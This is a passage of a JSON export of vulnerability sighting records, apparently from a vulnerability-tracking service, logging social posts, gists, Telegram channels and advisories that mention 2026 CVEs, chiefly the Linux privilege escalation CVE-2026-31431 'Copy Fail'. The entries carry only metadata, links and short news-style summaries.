"creation_timestamp": "2026-04-28T05:59:59.165733Z"}, {"uuid": "a635a78a-b4ab-4dbc-8be8-65f14a57c20c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31674", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116467685885034222", "content": "", "creation_timestamp": "2026-04-25T22:24:12.015764Z"}, {"uuid": "0f409827-e2d2-4bf0-ae84-1ee31e1721fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31679", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116467909996443019", "content": "", "creation_timestamp": "2026-04-25T23:21:11.648186Z"}, {"uuid": "e4cb4c37-8e37-434f-a292-4543d296fbc7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31630", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mkjvspm5r62w", "content": "", "creation_timestamp": "2026-04-28T06:01:00.018423Z"}, {"uuid": "325d4e51-edac-4bbc-97e7-327765c4bb2d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31631", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mkjvswshzd2g", "content": "", "creation_timestamp": "2026-04-28T06:01:02.789918Z"}, {"uuid": "8e654766-3b55-4b44-9547-2e71eb3f7e06", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31633", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mkjz5smv2v2n", "content": "", "creation_timestamp": "2026-04-28T07:00:00.919439Z"}, {"uuid": "fb6716cb-e8e2-48d0-91b1-bea77a8a4b78", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31635", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mkjz5zurue2n", "content": "", "creation_timestamp": "2026-04-28T07:00:07.780289Z"}, {"uuid": "30f941c8-34a0-461e-9fd4-e55122260b7d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31636", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mkjz6bjz2q2z", "content": "", "creation_timestamp": "2026-04-28T07:00:15.993283Z"}, {"uuid": "0618320c-cee3-4fb1-9a13-9016f02f8a98", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31786", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mkkmo5f2nh2x", "content": "", "creation_timestamp": "2026-04-28T12:49:09.121684Z"}, {"uuid": "9298c973-dc44-4bcf-988e-b5d4a8bb7bca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31787", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mkkna2ozwn2s", "content": "", "creation_timestamp": "2026-04-28T12:59:10.087443Z"}, {"uuid": "0a6bb31c-e9f8-441f-9a47-909c17fcf0e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31581", "type": "seen", "source": "https://gist.github.com/berkgoksel/c2b40c4c7890f27446fe890a679970a4", "content": "", "creation_timestamp": "2026-04-28T15:28:40.000000Z"}, {"uuid": "9c9e669a-01fb-467a-ba16-ca50bd198750", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31688", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116483390904195645", "content": "", "creation_timestamp": "2026-04-28T16:58:11.471960Z"}, {"uuid": "2947b5ab-c3d2-48a4-8c50-81e50a4079be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31987", "type": "published-proof-of-concept", "source": "Telegram/veDSMFN7ecyhltWdKUwpcYAyE-ogEw-qfchv6YBZH7Zn1oc", "content": "", "creation_timestamp": "2026-04-18T05:18:34.000000Z"}, {"uuid": "1acb5fea-9bc8-4587-8085-a2b53698e95e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31908", "type": "published-proof-of-concept", "source": "Telegram/RRp_g7glapTVycBJmNkkdTv_1kUKlchCKIwh8LoOwZ-XwIs", "content": "", "creation_timestamp": "2026-04-19T21:00:04.000000Z"}, {"uuid": "59895112-00a9-4793-b34c-7d656361ac7e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31952", "type": "seen", "source": "Telegram/y1cMF7MSs4iKIz6Tjc1sXNbleG9GlRmZjivyp4DyaM6b6bo", "content": "", "creation_timestamp": "2026-04-24T01:17:38.000000Z"}, {"uuid": "ee499c51-2370-4003-be62-d83c26aa0e3c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31429", "type": "published-proof-of-concept", "source": "Telegram/eiq80vTfK0uEvpSaVkLstXl9YEDfyEgGUyA39bKhe3J3sOM", "content": "", "creation_timestamp": "2026-04-24T09:00:04.000000Z"}, {"uuid": "e2735b7f-946a-4538-b66d-c3134e6dea0f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31429", "type": "published-proof-of-concept", "source": "Telegram/OlSx-i4MOnRiLD9w2NsovYSChfTHJAiqMYmGpteGinUk6Zg", "content": "", "creation_timestamp": "2026-04-24T21:00:04.000000Z"}, {"uuid": "f12cd605-5592-47ce-9cda-0c90b89ec06f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31368", "type": "seen", "source": "Telegram/5AImy-S2FMb1ANcV_15U7Dj7BOA2ndplOAtV4YDXu__1w6U", "content": "", "creation_timestamp": "2026-04-21T09:15:10.000000Z"}, {"uuid": "b5eec51b-e292-4568-b9df-725f183c4f97", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/bykvaadm/7a9e56861ea25de49980ebb0660d7e56", "content": "", "creation_timestamp": "2026-04-30T10:17:49.000000Z"}, {"uuid": "5e0f33ae-8780-4562-ae23-efe0e6736c7e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://infosec.exchange/users/dragonjar/statuses/116493321164201535", "content": "En las \u00faltimas 24 horas se han detectado vulnerabilidades cr\u00edticas que afectan sistemas Linux, cPanel, routers de Solana y Adobe Acrobat, exponiendo a usuarios a escalada de privilegios, suplantaci\u00f3n de autenticaci\u00f3n, robo de tokens y ejecuci\u00f3n remota de c\u00f3digo; adem\u00e1s, se reportan fallos en Cloudflare y un malware avanzado que amenaza sectores cient\u00edficos. Descubre estos y m\u00e1s detalles en el siguiente listado de noticias sobre seguridad inform\u00e1tica:\n\ud83d\uddde\ufe0f \u00daLTIMAS NOTICIAS EN SEGURIDAD INFORM\u00c1TICA \ud83d\udd12====| \ud83d\udd25 LO QUE DEBES SABER HOY \ufeff\ufeff30/04/26\ufeff\ufeff  \ud83d\udcc6 |==== \n\ud83d\udd12 COPY FAIL \u2014 732 BYTES TO ROOT\nSe ha descubierto una vulnerabilidad cr\u00edtica en Linux (CVE-2026-31431) que permite escalar privilegios a nivel root sin riesgo de condiciones de carrera ni necesidad de usar offsets. Esta falla evade las herramientas de integridad de archivos en disco y afecta incluso a entornos aislados como contenedores, representando un riesgo grave para la seguridad de sistemas Linux. Detectada por Xint Code, es esencial actualizar y proteger su infraestructura cuanto antes. Descubre m\u00e1s sobre esta vulnerabilidad y su impacto aqu\u00ed \ud83d\udc49 https://djar.co/3ckGrI\n\ud83c\udf10 LA INTERNET EST\u00c1 CAYENDO, CAYENDO, CAYENDO (CVE-2026-41940 EN CPANEL Y WHM)\nUna falla de suplantaci\u00f3n de autenticaci\u00f3n ha sido identificada en cPanel y WHM, dos herramientas clave para la gesti\u00f3n de hosting. Esta vulnerabilidad permite a atacantes no autenticados obtener sesiones de usuario, inclusive con privilegios de administrador root, mediante un bypass completo en la autenticaci\u00f3n. La amenaza compromete la seguridad de miles de servidores web, por lo que se recomienda aplicar los parches disponibles de inmediato. Inf\u00f3rmate sobre c\u00f3mo proteger tus sistemas aqu\u00ed \ud83d\udc49 https://djar.co/ScQtAV\n\ud83d\udd17 VULNERABILIDAD EN EL ROUTER DE SOLANA\nImportantes fallos de seguridad han sido detectados en el enrutador de la red Solana, facilitando el drenaje de cuentas de tokens y poniendo en riesgo la integridad de las transacciones financieras dentro de esta blockchain. Estas vulnerabilidades cr\u00edticas podr\u00edan comprometer fondos y confianza en la plataforma, por lo que es imprescindible que los usuarios y desarrolladores tomen medidas urgentes para mitigar estos riesgos. Detalles y recomendaciones aqu\u00ed \ud83d\udc49 https://djar.co/2clAA\n\ud83d\udcc4 TRES VULNERABILIDADES EN ADOBE ACROBAT QUE COMPROMETEN SEGURIDAD\nAdobe ha revelado tres vulnerabilidades cr\u00edticas (CVE-2026-34621, CVE-2026-34622, CVE-2026-34626) que permiten la ejecuci\u00f3n remota de c\u00f3digo y la filtraci\u00f3n de informaci\u00f3n mediante archivos PDF maliciosos. Estos fallos afectan versiones populares como Acrobat DC y Reader DC, poniendo en riesgo a millones de usuarios que manejan documentos digitales. Actualizar a la \u00faltima versi\u00f3n es fundamental para evitar intrusiones y p\u00e9rdidas de datos. Conoce los detalles y actualizaciones disponibles aqu\u00ed \ud83d\udc49 https://djar.co/Rvvu5\n\ud83c\udfdb\ufe0f LA ESTRATEGIA DEL CONGRESO CONTRA BLOQUEOS MASIVOS DE IP POR LALIGA\nEl Congreso ha aprobado una reforma a la Ley de Servicios Digitales para evitar bloqueos masivos de direcciones IP que afecten a p\u00e1ginas ajenas en procesos contra la pirater\u00eda, buscando un equilibrio entre la protecci\u00f3n de derechos y la seguridad en internet. Esta medida evita que resoluciones judiciales derriben sitios web de terceros y promueve un entorno digital m\u00e1s seguro y regulado. Entiende el alcance y las implicaciones de esta reforma aqu\u00ed \ud83d\udc49 https://djar.co/8dbV\n\u2601\ufe0f VULNERABILIDADES CR\u00cdTICAS EN LA IMPLEMENTACI\u00d3N DE CLOUDFLARE\nSe han reportado vulnerabilidades en los proxies de autorizaci\u00f3n y archivos PAC alojados por Cloudflare que afectan la gesti\u00f3n de pol\u00edticas de seguridad de identidad sin necesidad de clientes en dispositivos finales. Estas fallas, aunque t\u00e9cnicas, representan un avance en c\u00f3mo se protegen las redes y requieren atenci\u00f3n para evitar posibles explotaciones. Mantente informado sobre c\u00f3mo estas vulnerabilidades impactan la seguridad del entorno web aqu\u00ed \ud83d\udc49 https://djar.co/Y6uR\n\ud83d\udc1b DETECTANDO LA AMENAZA DEL MALWARE FAST16\nUn malware avanzado, posiblemente desarrollado o patrocinado por un estado, ha sido identificado causando sabotajes discretos mediante la manipulaci\u00f3n de programas matem\u00e1ticos y simulaciones f\u00edsicas. Esta amenaza tiene potencial para generar fallos graves, afectando sectores cient\u00edficos y tecnol\u00f3gicos sensibles. La detecci\u00f3n y respuesta temprana son claves para mitigar el da\u00f1o. Aprende c\u00f3mo proteger tus sistemas frente a Fast16 aqu\u00ed \ud83d\udc49 https://djar.co/CN8X", "creation_timestamp": "2026-04-30T11:03:37.280116Z"}, {"uuid": "01af72ac-0b9d-45e3-9e0b-9727306c902d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/Atirut.toot.community.ap.brid.gy/post/3mkpfck6l6a22", "content": "CVE-2026-31431 is one mean fucker ngl", "creation_timestamp": "2026-04-30T10:20:44.027095Z"}, {"uuid": "dd2aac17-3ae3-486c-be12-5e22305d1a26", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/hn100.bsky.social/post/3mknpjajyr624", "content": "Copy Fail \u2013 CVE-2026-31431\n\nDiscussion", "creation_timestamp": "2026-04-29T18:18:05.707613Z"}, {"uuid": "1b171109-f0c5-402a-8e21-40a3bca79328", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/morfie/28f7413a683b51df42e719e645a98e8b", "content": "", "creation_timestamp": "2026-04-30T11:19:59.000000Z"}, {"uuid": "60dfb15a-4557-44ad-b2a7-02afe99366f5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/news.karthihegde.dev/post/3mknpo6uevi27", "content": "Copy Fail \u2013 CVE-2026-31431\nDiscussion | hackernews | Author: unsnap_biceps", "creation_timestamp": "2026-04-29T18:20:51.260347Z"}, {"uuid": "978943e1-f5bb-44aa-8625-60285c2509e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31431", "type": "seen", "source": "https://gist.github.com/nicomen/261af7bfd7c0fb45710c2399b1196241", "content": "", "creation_timestamp": "2026-04-30T11:27:56.000000Z"}, {"uuid": "0ae33e1b-e7c1-4e31-b2c7-79b23b6571d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/antarcticrainforest/5170ed0e6de737c35507c13184a480e8", "content": "", "creation_timestamp": "2026-04-30T11:21:26.000000Z"}, {"uuid": "f4d0d85e-8fc4-4b3e-b73a-75ef9c711464", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/hn100.bsky.social/post/3mkpjfqzn7h2z", "content": "Copy-fail-destroyer: K8s remediation for CVE-2026-31431\n\nDiscussion", "creation_timestamp": "2026-04-30T11:34:05.946110Z"}, {"uuid": "ae6d711e-3be0-453d-b2db-5643cdaaf2ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/t2saras.bsky.social/post/3mkqgkl2ym22g", "content": "CVE-2026-31431", "creation_timestamp": "2026-04-30T20:15:45.650642Z"}, {"uuid": "56c85862-c226-46d7-8a10-5779094a4613", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://cyber.gc.ca/en/alerts-advisories/al26-009-vulnerability-affecting-linux-cve-2026-31431", "content": "", "creation_timestamp": "2026-04-30T11:15:29.000000Z"}, {"uuid": "23470e0e-d0b3-40fe-984d-03e253bd7093", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/jcrabapple.dmv.community.ap.brid.gy/post/3mkpkfhass522", "content": "Copy Fail \u2014 CVE-2026-31431\n\nhttps://copy.fail/", "creation_timestamp": "2026-04-30T11:51:52.836263Z"}, {"uuid": "591aae93-8501-4f23-abd7-6938b310d09c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31431", "type": "seen", "source": "https://gist.github.com/maximsmol/ceb98dfce166937ddb844ce17ed795d4", "content": "", "creation_timestamp": "2026-04-30T21:25:32.000000Z"}, {"uuid": "10f8a069-d504-49ec-99ac-b598782f840f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/frichinic/c4f10080bfa8a8fd1ec5ed349277ab42", "content": "", "creation_timestamp": "2026-04-30T20:59:06.000000Z"}, {"uuid": "4d9d9d98-a09d-4552-95d9-e9738ab20e4a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/samicrusader/b24950322bd8997484f7255b8a909795", "content": "", "creation_timestamp": "2026-04-29T21:29:08.000000Z"}, {"uuid": "ead1b7b5-7fc8-431f-9007-ef4b17dfc362", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/n.gotosocial.tourmentine.com.ap.brid.gy/post/3mko2k2qjpml2", "content": "[lien] Copy Fail \u2014 CVE-2026-31431 #security #gik #cli #py", "creation_timestamp": "2026-04-29T21:35:24.031961Z"}, {"uuid": "aefe1c19-837d-4204-a149-919be3cabe7a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/hrioslima/733e1771694e99033fb619ad39e649b8", "content": "", "creation_timestamp": "2026-05-01T01:21:43.000000Z"}, {"uuid": "02f529db-0584-4baa-9002-d9fb16a1a947", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/ricardobranco777/6d70f06588aa0c2a0b99a9005fb2209a", "content": "", "creation_timestamp": "2026-04-29T21:42:05.000000Z"}, {"uuid": "d648747b-7b0a-4ab0-8370-6776701ac8aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/hrioslima/efc467849ce5e148b592b2da2a35a647", "content": "", "creation_timestamp": "2026-05-01T01:30:22.000000Z"}, {"uuid": "4ba88ca6-96d3-4144-a4c2-1435ffb471b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/sambowne.infosec.exchange.ap.brid.gy/post/3mko356r3yn42", "content": "Copy Fail \u2014 CVE-2026-31431 Linux Privilege Escalation https://copy.fail/", "creation_timestamp": "2026-04-29T21:46:17.962316Z"}, {"uuid": "076538fb-d17f-4af9-9305-61030d220133", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/ajuvo.chaos.social.ap.brid.gy/post/3mko3yssybvl2", "content": "https://security-tracker.debian.org/tracker/CVE-2026-31431", "creation_timestamp": "2026-04-29T22:01:58.581591Z"}, {"uuid": "8b10f40e-716c-4d20-8a2e-264cd683c4c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/hnws.bsky.social/post/3mknptyzvq32o", "content": "Copy Fail \u2013 CVE-2026-31431\nL: https://copy.fail/\nC: https://news.ycombinator.com/item?id=47952181\nposted on 2026.04.29 at 14:13:53 (c=0, p=4)", "creation_timestamp": "2026-04-29T18:24:06.490928Z"}, {"uuid": "84b5bb8f-8148-4dd5-ae9c-b8c96877d889", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/MagnaCapax/0cfe2a4d9259c833f9f2a3d700678ddf", "content": "", "creation_timestamp": "2026-04-30T12:52:06.000000Z"}, {"uuid": "a8dd777d-4a9c-4318-b927-cb8d74f8d420", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://www.acn.gov.it/portale/w/linux-disponibile-poc-per-lo-sfruttamento-della-cve-2026-31431", "content": "", "creation_timestamp": "2026-04-30T08:12:39.000000Z"}, {"uuid": "64d5df8b-6ff3-4fee-acfa-7e5e94407a6e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/hn.rbrt.fr/post/3mko47xu26m2y", "content": "Copy Fail \u2013 CVE-2026-31431\nhttps://copy.fail/\nhttps://news.ycombinator.com/item?id=47952181", "creation_timestamp": "2026-04-29T22:05:33.369979Z"}, {"uuid": "45018df4-776e-4e5c-a82c-2fadc4a73991", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/betterhn300.e-work.xyz/post/3mko4ksgsah2r", "content": "Copy Fail \u2013 CVE-2026-31431 https://copy.fail/ (https://news.ycombinator.com/item?id=47952181)", "creation_timestamp": "2026-04-29T22:11:36.530898Z"}, {"uuid": "c998e233-a6c9-4af6-a2dc-ec17d8a592f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/hacker-news.bsky.social/post/3mko6tgwvxa2n", "content": "Copy Fail - CVE-2026-31431 [Discussion]", "creation_timestamp": "2026-04-29T22:52:13.665819Z"}, {"uuid": "e6832dbb-b33d-4416-a659-e3106995e718", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/m3nu/c19269ef4fd6fa53b03eb388f77464da", "content": "", "creation_timestamp": "2026-04-29T22:53:05.000000Z"}, {"uuid": "775b62ba-d903-43fc-bffa-f01b395da03b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mkob6kz6pz2e", "content": "Re: CVE-2026-31431: CopyFail: linux local privilege scalation", "creation_timestamp": "2026-04-29T23:34:14.297234Z"}, {"uuid": "1900ed3e-104c-443e-a69c-be758a319af4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/daknhh/67f9b55c189844ba11e5eb0f71a8cbd8", "content": "", "creation_timestamp": "2026-04-30T13:14:40.000000Z"}, {"uuid": "b724d4a0-4bfb-47ec-9c31-a488756ff0a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mkobhkegnd2j", "content": "Re: CVE-2026-31431: CopyFail: linux local privilege scalation", "creation_timestamp": "2026-04-29T23:39:15.754389Z"}, {"uuid": "c7877ba4-027b-4bf0-b4b3-83987b3d834f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/grenkoca/d8257be909e5073e9d6f4cf20c9273c7", "content": "", "creation_timestamp": "2026-04-29T23:46:53.000000Z"}, {"uuid": "1073138f-9065-4573-815f-e88d513a10a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/predkambrij/85da17fa4235e4dc7305873d5df5af39", "content": "", "creation_timestamp": "2026-04-30T13:31:03.000000Z"}, {"uuid": "93da8575-dc4e-4d5b-ab51-ab56794406c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/hnbot.gsuscs.xyz/post/3mknqafs7g225", "content": "Copy Fail \u2013 CVE-2026-31431\n\nhttps://copy.fail/", "creation_timestamp": "2026-04-29T18:31:02.609932Z"}, {"uuid": "e58a05ce-8b75-4cdc-8c37-f16df4374e85", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/foobar.eagleusb.com/post/3mkoewntqnc24", "content": "argh, *kernel local escalation: CVE-2026-31431\n\n> exploit-intel.com/vuln/CVE-202...", "creation_timestamp": "2026-04-30T00:41:25.440832Z"}, {"uuid": "a8ec01b8-252b-4761-a780-f05d09c1a44e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/newsyc500.bsky.social/post/3mkof22fbvl2l", "content": "Copy Fail \u2013 CVE-2026-31431 https://copy.fail/ (http://news.ycombinator.com/item?id=47952181)", "creation_timestamp": "2026-04-30T00:43:17.585430Z"}, {"uuid": "22699305-a674-48c6-a6e8-1a303b7bb672", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/kdmsnr.com/post/3mkogd7ykbx2a", "content": "\ud83c\udf10\u30b3\u30d4\u30fc\u5931\u6557 \u2013 CVE-2026-31431\nhttps://copy.fail/\nvia #HackerNews", "creation_timestamp": "2026-04-30T01:06:19.358574Z"}, {"uuid": "258a891a-1afd-4db8-bfd1-1cceb00a9905", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/yht/56b48ad379122730a2c0b89eb0efcbf3", "content": "", "creation_timestamp": "2026-04-30T01:39:57.000000Z"}, {"uuid": "c40f34f4-5494-43a9-8ae2-2af742869dc9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/nillpo.bsky.social/post/3mkoinsi5bc2d", "content": "\u3048\u30fc\n\"Copy Fail \u2013 CVE-2026-31431 | Hacker News\"\nnews.ycombinator.com/item?id=4795...", "creation_timestamp": "2026-04-30T01:48:01.878748Z"}, {"uuid": "d1896df9-592a-43bd-b4cb-0f4bab170933", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": 